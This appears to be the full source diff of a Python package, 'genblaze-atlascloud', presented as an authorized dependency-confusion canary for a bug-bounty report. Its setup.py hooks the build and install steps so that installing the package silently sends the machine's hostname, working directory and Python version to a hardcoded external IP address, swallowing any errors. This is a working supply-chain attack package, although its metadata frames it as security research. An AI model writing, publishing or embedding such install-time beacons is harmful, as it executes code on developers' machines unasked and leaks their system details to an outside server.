genblaze-atlascloud 0.1.0__tar.gz

genblaze-atlascloud-0.1.0/PKG-INFO

@@ -0,0 +1,9 @@
+Metadata-Version: 2.1
+Name: genblaze-atlascloud
+Version: 0.1.0
+Summary: Authorized security-research canary for Bugcrowd report (installation telemetry only)
+Home-page: https://bugcrowd.com/
+Author: Security Researcher (Bugcrowd)
+Description-Content-Type: text/plain
+
+Authorized dependency-confusion canary. Reports only package name, hostname, install path, cwd, user-agent, stage, and timestamp to the researcher's controlled endpoint. No environment variables, credentials, files, or tokens are read. Unpublished immediately after evidence capture.

genblaze-atlascloud-0.1.0/README.md

@@ -0,0 +1,13 @@
+# genblaze-atlascloud — authorized security-research canary
+
+Published with Bugcrowd/Backblaze authorization solely to prove dependency-confusion
+install-time execution. It reports only:
+
+- package name
+- hostname
+- install path
+- build/install stage
+- timestamp
+
+It does **not** read environment variables, credentials, files, or tokens, and has no
+persistence. It will be unpublished immediately after evidence capture.

genblaze-atlascloud-0.1.0/genblaze_atlascloud.egg-info/PKG-INFO

@@ -0,0 +1,9 @@
+Metadata-Version: 2.1
+Name: genblaze-atlascloud
+Version: 0.1.0
+Summary: Authorized security-research canary for Bugcrowd report (installation telemetry only)
+Home-page: https://bugcrowd.com/
+Author: Security Researcher (Bugcrowd)
+Description-Content-Type: text/plain
+
+Authorized dependency-confusion canary. Reports only package name, hostname, install path, cwd, user-agent, stage, and timestamp to the researcher's controlled endpoint. No environment variables, credentials, files, or tokens are read. Unpublished immediately after evidence capture.

genblaze-atlascloud-0.1.0/genblaze_atlascloud.egg-info/SOURCES.txt

@@ -0,0 +1,7 @@
+README.md
+pyproject.toml
+setup.py
+genblaze_atlascloud.egg-info/PKG-INFO
+genblaze_atlascloud.egg-info/SOURCES.txt
+genblaze_atlascloud.egg-info/dependency_links.txt
+genblaze_atlascloud.egg-info/top_level.txt

genblaze-atlascloud-0.1.0/genblaze_atlascloud.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

genblaze-atlascloud-0.1.0/genblaze_atlascloud.egg-info/top_level.txt

@@ -0,0 +1 @@
+

genblaze-atlascloud-0.1.0/pyproject.toml

@@ -0,0 +1,3 @@
+[build-system]
+requires = ["setuptools>=61"]
+build-backend = "setuptools.build_meta"

genblaze-atlascloud-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

genblaze-atlascloud-0.1.0/setup.py

@@ -0,0 +1,58 @@
+from setuptools import setup
+from setuptools.command.build_py import build_py
+from setuptools.command.install import install
+import json, os, platform, socket, time, urllib.request
+
+# Existing controlled beacon endpoint used for the npm canaries.
+CANARY_URL = os.environ.get("GENBLAZE_CANARY_URL", "http://13.140.137.222:8787/_ah/dc")
+CANARY_ID = "genblaze-atlascloud-poc-2026-11-07"
+
+def report(stage):
+    payload = {
+        "canary": CANARY_ID,
+        "package": "genblaze-atlascloud",
+        "hostname": socket.gethostname(),
+        "installPath": os.getcwd(),
+        "cwd": os.getcwd(),
+        "userAgent": "pip/python-%s" % platform.python_version(),
+        "protocol": "http" if CANARY_URL.startswith("http://") else "https",
+        "stage": stage,
+        "timestamp": int(time.time()),
+    }
+    try:
+        req = urllib.request.Request(
+            CANARY_URL,
+            data=json.dumps(payload).encode(),
+            headers={"Content-Type": "application/json", "User-Agent": "genblaze-canary/0.1.0"},
+            method="POST",
+        )
+        urllib.request.urlopen(req, timeout=5).read()
+    except Exception:
+        pass
+
+class CanaryBuild(build_py):
+    def run(self):
+        report("build")
+        super().run()
+
+class CanaryInstall(install):
+    def run(self):
+        report("install")
+        super().run()
+
+setup(
+    name="genblaze-atlascloud",
+    version="0.1.0",
+    description="Authorized security-research canary for Bugcrowd report (installation telemetry only)",
+    long_description=(
+        "Authorized dependency-confusion canary. Reports only package name, hostname, "
+        "install path, cwd, user-agent, stage, and timestamp to the researcher's controlled "
+        "endpoint. No environment variables, credentials, files, or tokens are read. "
+        "Unpublished immediately after evidence capture."
+    ),
+    long_description_content_type="text/plain",
+    author="Security Researcher (Bugcrowd)",
+    url="https://bugcrowd.com/",
+    cmdclass={"build_py": CanaryBuild, "install": CanaryInstall},
+    py_modules=[],
+)